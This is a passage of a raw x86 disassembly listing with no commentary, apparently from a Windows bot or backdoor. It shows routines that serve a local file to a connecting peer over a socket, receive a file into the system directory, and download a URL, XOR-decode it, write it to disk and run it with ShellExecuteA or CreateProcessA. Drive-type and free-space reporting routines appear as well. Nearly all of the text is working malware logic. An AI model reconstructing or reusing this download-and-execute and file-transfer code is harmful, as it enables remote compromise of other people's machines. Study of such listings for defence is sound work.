ecx jnz short loc_41626A lea eax, [ebp+var_11B4] push offset unk_43A138 push eax call sub_41C056 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_41624D push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409982 add esp, 14h loc_41624D: ; CODE XREF: sub_4161D7+59j lea eax, [ebp+var_11B4] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread loc_41626A: ; CODE XREF: sub_4161D7+3Fj push offset byte_43FE14 push ebx call sub_41A413 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_4162D5 lea eax, [ebp+var_11B4] push offset unk_43A108 push eax call sub_41C056 xor edi, edi pop ecx cmp [ebp+var_8], edi pop ecx jnz short loc_4162B1 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409982 add esp, 14h loc_4162B1: ; CODE XREF: sub_4161D7+BDj lea eax, [ebp+var_11B4] push eax call sub_4157A5 pop ecx push ebx call dword_4CDCFC ; closesocket push [ebp+var_10] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread loc_4162D5: ; CODE XREF: sub_4161D7+A3j push 64h call dword_428064 ; Sleep xor edi, edi mov esi, 1000h loc_4162E4: ; CODE XREF: sub_4161D7+168j push esi lea eax, [ebp+var_11B4] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_11B4] push edi push esi push eax push ebx call dword_4CDC7C ; recv test eax, eax jle short loc_416341 lea eax, [ebp+var_11B4] push offset asc_42B120 ; "\n" push eax call sub_41C690 lea eax, [ebp+var_11B4] push eax call sub_41A1FF add esp, 0Ch test eax, eax jz short loc_416341 push 64h call dword_428064 ; Sleep push 0Ah call sub_40B1CF test eax, eax pop ecx jnz short loc_4162E4 loc_416341: ; CODE XREF: sub_4161D7+130j ; sub_4161D7+154j lea eax, [ebp+var_11B4] push offset unk_43A0D4 push eax call sub_41C056 cmp [ebp+var_8], edi pop ecx pop ecx jnz short loc_416374 push edi lea eax, [ebp+var_11B4] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push ebx call sub_409982 add esp, 14h loc_416374: ; CODE XREF: sub_4161D7+180j lea eax, [ebp+var_11B4] push eax call sub_4157A5 pop ecx push ebx call dword_4CDCFC ; closesocket push [ebp+var_10] call sub_40B2A3 pop ecx push edi call dword_4280CC ; ExitThread sub_4161D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416398 proc near ; DATA XREF: sub_401B66+7705o var_A04 = byte ptr -0A04h var_604 = byte ptr -604h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_3FC = byte ptr -3FCh var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1E0 = byte ptr -1E0h var_DC = byte ptr -0DCh var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = byte ptr -48h var_44 = dword ptr -44h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1FC] rep movsd xor ebx, ebx xor esi, esi inc ebx push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp+var_10], esi mov [ebp+var_C], esi mov [ebp+var_20], esi call dword_4CDCE4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_18], edi jnz short loc_4163E6 push offset unk_43A238 jmp loc_41659F ; --------------------------------------------------------------------------- loc_4163E6: ; CODE XREF: sub_416398+42j push 10h lea eax, [ebp+var_30] push esi push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_30], 2 push esi call dword_4CDC64 ; ntohs mov word ptr [ebp+var_2E], ax lea eax, [ebp+var_30] push 10h push eax push edi mov [ebp+var_2E+2], esi call dword_4CDC90 ; bind test eax, eax jz short loc_416424 push offset unk_43A214 jmp loc_41659F ; --------------------------------------------------------------------------- loc_416424: ; CODE XREF: sub_416398+80j lea eax, [ebp+var_1C] mov [ebp+var_1C], 10h push eax lea eax, [ebp+var_30] push eax push edi call dword_4CDC08 ; getsockname push [ebp+var_2E] call dword_4CDB94 ; ntohs mov [ebp+var_4], eax lea eax, [ebp+var_1E0] push eax mov [ebp+arg_0], esi call sub_41B7B0 pop ecx loc_416456: ; CODE XREF: sub_416398+EFj mov ecx, [ebp+arg_0] mov al, [ebp+ecx+var_1E0] cmp al, 20h jnz short loc_416469 push 5Fh pop eax jmp short loc_41646C ; --------------------------------------------------------------------------- loc_416469: ; CODE XREF: sub_416398+CAj movsx eax, al loc_41646C: ; CODE XREF: sub_416398+CFj mov [ebp+ecx+var_604], al lea eax, [ebp+var_1E0] inc ecx push eax mov [ebp+arg_0], ecx call sub_41B7B0 cmp [ebp+arg_0], eax pop ecx jbe short loc_416456 push ebx push edi call dword_4CDC8C ; listen test eax, eax jz short loc_41649F push offset unk_43A138 jmp loc_41659F ; --------------------------------------------------------------------------- loc_41649F: ; CODE XREF: sub_416398+FBj push esi push esi push 3 push esi push ebx lea eax, [ebp+var_1E0] push 80000000h push eax call dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4164C9 push offset unk_43A1F4 jmp loc_41659F ; --------------------------------------------------------------------------- loc_4164C9: ; CODE XREF: sub_416398+125j push esi push eax call dword_42810C ; GetFileSize mov [ebp+arg_0], eax push eax movzx eax, word ptr [ebp+var_4] push eax push [ebp+var_1FC] call sub_40AB14 pop ecx push eax call dword_4CDCA4 ; inet_addr push eax call dword_4CDC60 ; ntohl push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset dword_43A1DC push eax call sub_41C056 push esi lea eax, [ebp+var_3FC] push esi push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409982 add esp, 2Ch lea eax, [ebp+var_38] mov [ebp+var_38], 3Ch mov [ebp+var_34], esi push eax push esi lea eax, [ebp+var_500] push esi push eax push esi mov [ebp+var_4FC], edi mov [ebp+var_500], ebx call dword_4CDC4C ; select test eax, eax jg short loc_416579 push esi lea eax, [ebp+var_DC] push [ebp+var_54] push offset dword_43A1C4 push eax push [ebp+var_1FC] call sub_409982 jmp loc_41669D ; --------------------------------------------------------------------------- loc_416579: ; CODE XREF: sub_416398+1BFj lea eax, [ebp+var_14] mov [ebp+var_14], 10h push eax lea eax, [ebp+var_48] push eax push edi call dword_4CDCF8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_1F8], eax jnz short loc_4165B2 push offset unk_43A1A0 loc_41659F: ; CODE XREF: sub_416398+49j ; sub_416398+87j ... lea eax, [ebp+var_3FC] push eax call sub_41C056 pop ecx pop ecx jmp loc_4166A0 ; --------------------------------------------------------------------------- loc_4165B2: ; CODE XREF: sub_416398+200j push edi call dword_4CDCFC ; closesocket cmp [ebp+arg_0], esi jz loc_416664 mov edi, 400h loc_4165C7: ; CODE XREF: sub_416398+2C3j mov eax, [ebp+arg_0] mov [ebp+var_4], edi cmp eax, edi jge short loc_4165D4 mov [ebp+var_4], eax loc_4165D4: ; CODE XREF: sub_416398+237j push edi lea eax, [ebp+var_A04] push esi push eax call sub_41BD60 mov eax, [ebp+arg_0] add esp, 0Ch neg eax push 2 push esi push eax push [ebp+var_8] call dword_428120 ; SetFilePointer lea eax, [ebp+var_20] push esi push eax lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_8] call dword_4280E8 ; ReadFile push esi lea eax, [ebp+var_A04] push [ebp+var_4] push eax push [ebp+var_1F8] call dword_4CDCB4 ; send mov [ebp+var_4], eax push esi cdq add [ebp+var_10], eax lea eax, [ebp+var_A04] push edi push eax push [ebp+var_1F8] adc [ebp+var_C], edx call dword_4CDC7C ; recv cmp eax, ebx jl loc_4166F9 mov eax, [ebp+var_4] cmp eax, ebx jl loc_4166F9 sub [ebp+arg_0], eax jnz loc_4165C7 mov edi, [ebp+var_18] loc_416664: ; CODE XREF: sub_416398+224j push [ebp+var_8] call dword_42806C ; CloseHandle push [ebp+var_C] push [ebp+var_10] call sub_416E8B pop ecx pop ecx push eax push [ebp+var_44] call dword_4CDCF0 ; inet_ntoa push eax lea eax, [ebp+var_1E0] push eax lea eax, [ebp+var_3FC] push offset unk_43A174 push eax call sub_41C056 loc_41669D: ; CODE XREF: sub_416398+1DCj add esp, 14h loc_4166A0: ; CODE XREF: sub_416398+215j cmp [ebp+var_50], esi jnz short loc_4166C5 push esi lea eax, [ebp+var_3FC] push [ebp+var_54] push eax lea eax, [ebp+var_DC] push eax push [ebp+var_1FC] call sub_409982 add esp, 14h loc_4166C5: ; CODE XREF: sub_416398+30Bj lea eax, [ebp+var_3FC] push eax call sub_4157A5 cmp edi, esi pop ecx jbe short loc_4166DD push edi call dword_4CDCFC ; closesocket loc_4166DD: ; CODE XREF: sub_416398+33Cj push [ebp+var_1F8] call dword_4CDCFC ; closesocket push [ebp+var_58] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread loc_4166F9: ; CODE XREF: sub_416398+2AFj ; sub_416398+2BAj push esi mov esi, offset dword_43A15C push [ebp+var_54] lea eax, [ebp+var_DC] push esi push eax push [ebp+var_1FC] call sub_409982 push esi call sub_4157A5 add esp, 18h push [ebp+var_1F8] call dword_4CDCFC ; closesocket push [ebp+var_58] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread sub_416398 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673A proc near ; DATA XREF: sub_401B66+727o var_14C4 = byte ptr -14C4h var_4C4 = byte ptr -4C4h var_2C4 = byte ptr -2C4h var_1C0 = dword ptr -1C0h var_1B8 = byte ptr -1B8h var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 14C4h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp+var_1C0] rep movsd xor esi, esi xor ebx, ebx inc esi push 104h mov [eax+1B0h], esi lea eax, [ebp+var_2C4] push eax mov [ebp+var_8], ebx call dword_428078 ; GetSystemDirectoryA lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_2C4] push offset dword_42AB10 push eax call sub_41C056 add esp, 10h lea eax, [ebp+var_2C4] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call dword_4280EC ; CreateFileA cmp eax, 0FFFFFFFFh jnz short loc_4167C4 push offset unk_43A2D8 jmp short loc_41680A ; --------------------------------------------------------------------------- loc_4167C4: ; CODE XREF: sub_41673A+81j push eax call dword_42806C ; CloseHandle lea eax, [ebp+var_2C4] push offset aAB ; "a+b" push eax call sub_41BC92 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_4167EC push offset unk_43A2A8 jmp short loc_41680A ; --------------------------------------------------------------------------- loc_4167EC: ; CODE XREF: sub_41673A+A9j push [ebp+var_20] lea eax, [ebp+var_1B8] push eax call sub_417C50 pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+arg_0], eax jnz short loc_41681D push offset unk_43A288 loc_41680A: ; CODE XREF: sub_41673A+88j ; sub_41673A+B0j lea eax, [ebp+var_4C4] push eax call sub_41C056 pop ecx pop ecx jmp loc_416917 ; --------------------------------------------------------------------------- loc_41681D: ; CODE XREF: sub_41673A+C9j mov esi, 1000h loc_416822: ; CODE XREF: sub_41673A+14Ej push esi lea eax, [ebp+var_14C4] push ebx push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_14C4] push ebx push esi push eax push [ebp+arg_0] call dword_4CDC7C ; recv mov edi, eax cmp edi, ebx jz loc_4168E9 cmp edi, 0FFFFFFFFh jz short loc_41688A push [ebp+var_4] lea eax, [ebp+var_14C4] push edi push 1 push eax call sub_41DAB4 add [ebp+var_8], edi add esp, 10h push [ebp+var_8] call dword_4CDC60 ; ntohl mov [ebp+var_C], eax push ebx lea eax, [ebp+var_C] push 4 push eax push [ebp+arg_0] call dword_4CDCB4 ; send jmp short loc_416822 ; --------------------------------------------------------------------------- loc_41688A: ; CODE XREF: sub_41673A+118j lea eax, [ebp+var_4C4] push offset dword_43A15C push eax call sub_41C056 push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409982 lea eax, [ebp+var_4C4] push eax call sub_4157A5 push [ebp+var_4] call sub_41B82B add esp, 24h push [ebp+arg_0] call dword_4CDCFC ; closesocket push [ebp+var_1C] call sub_40B2A3 pop ecx push 1 call dword_4280CC ; ExitThread loc_4168E9: ; CODE XREF: sub_41673A+10Fj mov eax, [ebp+var_8] cdq push edx push eax call sub_416E8B push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_1A4] push eax lea eax, [ebp+var_4C4] push offset unk_43A25C push eax call sub_41C056 add esp, 1Ch loc_416917: ; CODE XREF: sub_41673A+DEj cmp [ebp+var_14], ebx jnz short loc_41693C push ebx lea eax, [ebp+var_4C4] push [ebp+var_18] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_1C0] call sub_409982 add esp, 14h loc_41693C: ; CODE XREF: sub_41673A+1E0j lea eax, [ebp+var_4C4] push eax call sub_4157A5 cmp [ebp+var_4], ebx pop ecx jz short loc_416957 push [ebp+var_4] call sub_41B82B pop ecx loc_416957: ; CODE XREF: sub_41673A+212j cmp [ebp+arg_0], ebx jbe short loc_416965 push [ebp+arg_0] call dword_4CDCFC ; closesocket loc_416965: ; CODE XREF: sub_41673A+220j push [ebp+var_1C] call sub_40B2A3 pop ecx push ebx call dword_4280CC ; ExitThread sub_41673A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416975 proc near ; DATA XREF: sub_401B66+6195o ; sub_401B66+69BDo var_590 = qword ptr -590h var_584 = qword ptr -584h var_510 = byte ptr -510h var_310 = dword ptr -310h var_304 = dword ptr -304h var_2E4 = dword ptr -2E4h var_2E0 = word ptr -2E0h var_2CC = dword ptr -2CCh var_2C8 = byte ptr -2C8h var_248 = byte ptr -248h var_148 = byte ptr -148h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp+var_2CC] rep movsd xor edi, edi xor esi, esi inc edi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp+var_248] push esi push eax push dword_4CDC14 call dword_4CDB68 ; InternetOpenUrlA cmp eax, esi mov [ebp+var_18], eax jz loc_416DEE push esi push esi push 2 push esi push esi lea eax, [ebp+var_148] push 40000000h push eax call dword_4280EC ; CreateFileA cmp eax, edi mov [ebp+var_20], eax jnb short loc_416A3C lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset unk_43A4A4 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416A1F push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 add esp, 14h loc_416A1F: ; CODE XREF: sub_416975+88j lea eax, [ebp+var_510] push eax call sub_4157A5 push [ebp+var_48] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread loc_416A3C: ; CODE XREF: sub_416975+68j xor edi, edi call dword_4280A8 ; GetTickCount mov ebx, 7D000h mov dword ptr [ebp+var_8+4], eax push ebx call sub_41BCA5 pop ecx mov [ebp+var_1C], eax loc_416A56: ; CODE XREF: sub_416975+1A9j push 200h lea eax, [ebp+var_510] push esi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_510] push 200h push eax push [ebp+var_18] call dword_4CDB70 ; InternetReadFile cmp [ebp+var_34], esi jz short loc_416A9A push [ebp+arg_0] lea eax, [ebp+var_510] push eax call sub_416E54 pop ecx pop ecx loc_416A9A: ; CODE XREF: sub_416975+112j lea eax, [ebp+var_24] push esi push eax lea eax, [ebp+var_510] push [ebp+arg_0] push eax push [ebp+var_20] call dword_4280E0 ; WriteFile cmp edi, ebx jnb short loc_416AD8 mov eax, ebx sub eax, edi cmp eax, [ebp+arg_0] jbe short loc_416AC2 mov eax, [ebp+arg_0] loc_416AC2: ; CODE XREF: sub_416975+148j push eax lea eax, [ebp+var_510] push eax mov eax, [ebp+var_1C] add eax, edi push eax call near ptr sub_41CAE0 add esp, 0Ch loc_416AD8: ; CODE XREF: sub_416975+13Fj add edi, [ebp+arg_0] cmp [ebp+var_3C], esi jz short loc_416AE5 cmp edi, [ebp+var_3C] ja short loc_416B24 loc_416AE5: ; CODE XREF: sub_416975+169j mov eax, edi shr eax, 0Ah push eax lea eax, [ebp+var_248] push eax mov eax, [ebp+var_48] imul eax, 234h add eax, offset dword_440998 cmp [ebp+var_44], 1 jz short loc_416B0D push offset unk_43A47C jmp short loc_416B12 ; --------------------------------------------------------------------------- loc_416B0D: ; CODE XREF: sub_416975+18Fj push offset unk_43A454 loc_416B12: ; CODE XREF: sub_416975+196j push eax call sub_41C056 add esp, 10h cmp [ebp+arg_0], esi ja loc_416A56 loc_416B24: ; CODE XREF: sub_416975+16Ej cmp [ebp+var_3C], esi mov [ebp+var_14], 1 jz short loc_416B79 cmp edi, [ebp+var_3C] jz short loc_416B79 push [ebp+var_3C] lea eax, [ebp+var_510] mov [ebp+var_14], esi push edi push offset unk_43A428 push eax call sub_41C056 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 lea eax, [ebp+var_510] push eax call sub_4157A5 add esp, 28h loc_416B79: ; CODE XREF: sub_416975+1B9j ; sub_416975+1BEj call dword_4280A8 ; GetTickCount sub eax, dword ptr [ebp+var_8+4] xor edx, edx mov ecx, 3E8h push [ebp+var_20] div ecx xor edx, edx mov ecx, eax mov eax, edi inc ecx div ecx mov ebx, eax call dword_42806C ; CloseHandle push [ebp+var_1C] call sub_41B881 cmp [ebp+var_38], esi pop ecx jz short loc_416C03 lea eax, [ebp+var_148] push eax call sub_4010C2 cmp eax, [ebp+var_38] pop ecx jz short loc_416C03 push [ebp+var_38] mov [ebp+var_14], esi push eax lea eax, [ebp+var_510] push offset unk_43A400 push eax call sub_41C056 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 lea eax, [ebp+var_510] push eax call sub_4157A5 add esp, 28h loc_416C03: ; CODE XREF: sub_416975+236j ; sub_416975+248j cmp [ebp+var_14], esi jz loc_416E3B cmp [ebp+var_44], 1 push ecx lea eax, [ebp+var_148] push ecx jz loc_416CFE mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_4286B0 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_4286B0 fstp [esp+590h+var_590] push offset unk_43A3C8 push eax call sub_41C056 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416C7E push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 add esp, 14h loc_416C7E: ; CODE XREF: sub_416975+2E7j lea eax, [ebp+var_510] push eax call sub_4157A5 cmp [ebp+var_40], 1 pop ecx jnz loc_416E3B push 5 push esi lea eax, [ebp+var_148] push esi push eax push offset aOpen ; "open" push esi call dword_4CDBD0 ; ShellExecuteA cmp [ebp+var_30], esi jnz loc_416E3B lea eax, [ebp+var_148] push eax lea eax, [ebp+var_510] push offset dword_43A3AC push eax call sub_41C056 push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 lea eax, [ebp+var_510] push eax call sub_4157A5 add esp, 24h jmp loc_416E3B ; --------------------------------------------------------------------------- loc_416CFE: ; CODE XREF: sub_416975+2A3j mov dword ptr [ebp+var_8], ebx mov dword ptr [ebp+var_8+4], esi fild [ebp+var_8] mov dword ptr [ebp+var_8], edi mov dword ptr [ebp+var_8+4], esi fmul dbl_4286B0 fstp [esp+584h+var_584] fild [ebp+var_8] push eax push ecx push ecx lea eax, [ebp+var_510] fmul dbl_4286B0 fstp [esp+590h+var_590] push offset unk_43A368 push eax call sub_41C056 add esp, 1Ch cmp [ebp+var_30], esi jnz short loc_416D5E push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 add esp, 14h loc_416D5E: ; CODE XREF: sub_416975+3C7j lea eax, [ebp+var_510] push eax call sub_4157A5 push 10h lea eax, [ebp+var_10] push esi push eax call sub_41BD60 push 44h lea eax, [ebp+var_310] pop edi push edi push esi push eax call sub_41BD60 add esp, 1Ch lea eax, [ebp+var_10] mov [ebp+var_310], edi xor edi, edi push eax lea eax, [ebp+var_310] push eax push esi push esi push 28h push esi push esi lea eax, [ebp+var_148] push esi inc edi push eax push esi mov [ebp+var_304], offset byte_43FE14 mov [ebp+var_2E4], edi mov [ebp+var_2E0], si call dword_428070 ; CreateProcessA cmp eax, edi jnz short loc_416DE0 call dword_4CDBBC ; WSACleanup call sub_418A34 push esi call dword_428068 ; ExitProcess loc_416DE0: ; CODE XREF: sub_416975+457j lea eax, [ebp+var_148] push eax push offset unk_43A334 jmp short loc_416DFA ; --------------------------------------------------------------------------- loc_416DEE: ; CODE XREF: sub_416975+45j lea eax, [ebp+var_248] push eax push offset unk_43A308 loc_416DFA: ; CODE XREF: sub_416975+477j lea eax, [ebp+var_510] push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_416E2E push esi lea eax, [ebp+var_510] push [ebp+var_2C] push eax lea eax, [ebp+var_2C8] push eax push [ebp+var_2CC] call sub_409982 add esp, 14h loc_416E2E: ; CODE XREF: sub_416975+497j lea eax, [ebp+var_510] push eax call sub_4157A5 pop ecx loc_416E3B: ; CODE XREF: sub_416975+291j ; sub_416975+31Aj ... push [ebp+var_18] call dword_4CDC98 ; InternetCloseHandle push [ebp+var_48] call sub_40B2A3 pop ecx push esi call dword_4280CC ; ExitThread sub_416975 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416E54 proc near ; CODE XREF: sub_416975+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] xor ecx, ecx cmp [esp+arg_4], ecx jle short locret_416E70 loc_416E60: ; CODE XREF: sub_416E54+1Aj mov dl, byte_42A090 xor [ecx+eax], dl inc ecx cmp ecx, [esp+arg_4] jl short loc_416E60 locret_416E70: ; CODE XREF: sub_416E54+Aj retn sub_416E54 endp ; =============== S U B R O U T I N E ======================================= sub_416E71 proc near ; CODE XREF: sub_401B66+5760p ; sub_401B66+58A2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_41DBBE pop ecx pop ecx xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl mov eax, ecx retn sub_416E71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E8B proc near ; CODE XREF: sub_4101B7+462p ; sub_4101B7+5FEp ... var_38 = byte ptr -38h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 38h and [ebp+var_4], 0 push ebx push esi push edi push 32h mov edi, offset dword_4D5964 push 0 push edi call sub_41BD60 mov ebx, [ebp+arg_0] add esp, 0Ch lea esi, [ebp+var_38] loc_416EB0: ; CODE XREF: sub_416E8B+5Bj ; sub_416E8B+61j push 0 push 0Ah push [ebp+arg_4] push ebx call sub_41DC80 push 0 push 0Ah push [ebp+arg_4] add al, 30h mov [esi], al inc esi push ebx call sub_41DC10 mov ebx, eax or eax, edx mov [ebp+arg_4], edx jz short loc_416EEE inc [ebp+var_4] push 3 mov eax, [ebp+var_4] pop ecx cdq idiv ecx test edx, edx jnz short loc_416EB0 mov byte ptr [esi], 2Ch inc esi jmp short loc_416EB0 ; --------------------------------------------------------------------------- loc_416EEE: ; CODE XREF: sub_416E8B+4Bj mov eax, edi jmp short loc_416EF7 ; --------------------------------------------------------------------------- loc_416EF2: ; CODE XREF: sub_416E8B+72j mov cl, [esi] mov [eax], cl inc eax loc_416EF7: ; CODE XREF: sub_416E8B+65j dec esi lea ecx, [ebp+var_38] cmp esi, ecx jnb short loc_416EF2 and byte ptr [eax], 0 mov eax, edi pop edi pop esi pop ebx leave retn sub_416E8B endp ; =============== S U B R O U T I N E ======================================= sub_416F09 proc near ; CODE XREF: sub_4170B5+51p ; sub_4170B5+87p arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CDCC4 ; GetDriveTypeA sub eax, 0 jz short loc_416F4C dec eax jz short loc_416F46 dec eax dec eax jz short loc_416F40 dec eax jz short loc_416F3A dec eax jz short loc_416F34 dec eax jz short loc_416F2E mov eax, offset word_43A4F8 retn ; --------------------------------------------------------------------------- loc_416F2E: ; CODE XREF: sub_416F09+1Dj mov eax, offset off_43A4F4 retn ; --------------------------------------------------------------------------- loc_416F34: ; CODE XREF: sub_416F09+1Aj mov eax, offset aCdrom ; "Cdrom" retn ; --------------------------------------------------------------------------- loc_416F3A: ; CODE XREF: sub_416F09+17j mov eax, offset aNetwork ; "Network" retn ; --------------------------------------------------------------------------- loc_416F40: ; CODE XREF: sub_416F09+14j mov eax, offset aDisk ; "Disk" retn ; --------------------------------------------------------------------------- loc_416F46: ; CODE XREF: sub_416F09+10j mov eax, offset aInvalid ; "Invalid" retn ; --------------------------------------------------------------------------- loc_416F4C: ; CODE XREF: sub_416F09+Dj mov eax, offset aUnknown ; "Unknown" retn sub_416F09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F52 proc near ; CODE XREF: sub_416F9A+12p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h or eax, 0FFFFFFFFh mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov [ebp+var_4], eax mov eax, dword_4CDB54 test eax, eax jz short loc_416F87 lea ecx, [ebp+var_10] push ecx lea ecx, [ebp+var_8] push ecx lea ecx, [ebp+var_18] push ecx push [ebp+arg_4] call eax ; GetDiskFreeSpaceExA loc_416F87: ; CODE XREF: sub_416F52+22j mov eax, [ebp+arg_0] push esi push edi push 6 pop ecx lea esi, [ebp+var_18] mov edi, eax rep movsd pop edi pop esi leave retn sub_416F52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416F9A proc near ; CODE XREF: sub_4170B5+17p ; sub_41B1FC+1F3p var_198 = byte ptr -198h var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 198h push esi push edi push [ebp+arg_4] lea eax, [ebp+var_18] push eax call sub_416F52 pop ecx mov esi, eax pop ecx lea edi, [ebp+var_18] push 6 pop ecx rep movsd mov eax, [ebp+var_18] and eax, [ebp+var_14] cmp eax, 0FFFFFFFFh jz loc_417072 mov eax, [ebp+var_10] and eax, [ebp+var_C] cmp eax, 0FFFFFFFFh jz loc_417072 mov eax, [ebp+var_8] and eax, [ebp+var_4] cmp eax, 0FFFFFFFFh jz loc_417072 push ebx mov ebx, 400h push 0 push ebx push [ebp+var_14] push [ebp+var_18] call sub_41DD00 push edx push eax call sub_416E8B mov edi, offset aSkb ; "%sKB" push eax mov esi, 80h push edi lea eax, [ebp+var_198] push esi push eax call sub_41C150 add esp, 18h push 0 push ebx push [ebp+var_C] push [ebp+var_10] call sub_41DD00 push edx push eax call sub_416E8B push eax push edi lea eax, [ebp+var_118] push esi push eax call sub_41C150 add esp, 18h push 0 push ebx push [ebp+var_4] push [ebp+var_8] call sub_41DD00 push edx push eax call sub_416E8B push eax push edi lea eax, [ebp+var_98] push esi push eax call sub_41C150 add esp, 18h pop ebx jmp short loc_4170A1 ; --------------------------------------------------------------------------- loc_417072: ; CODE XREF: sub_416F9A+2Cj ; sub_416F9A+3Bj ... mov esi, offset aFailed ; "failed" lea eax, [ebp+var_198] push esi push 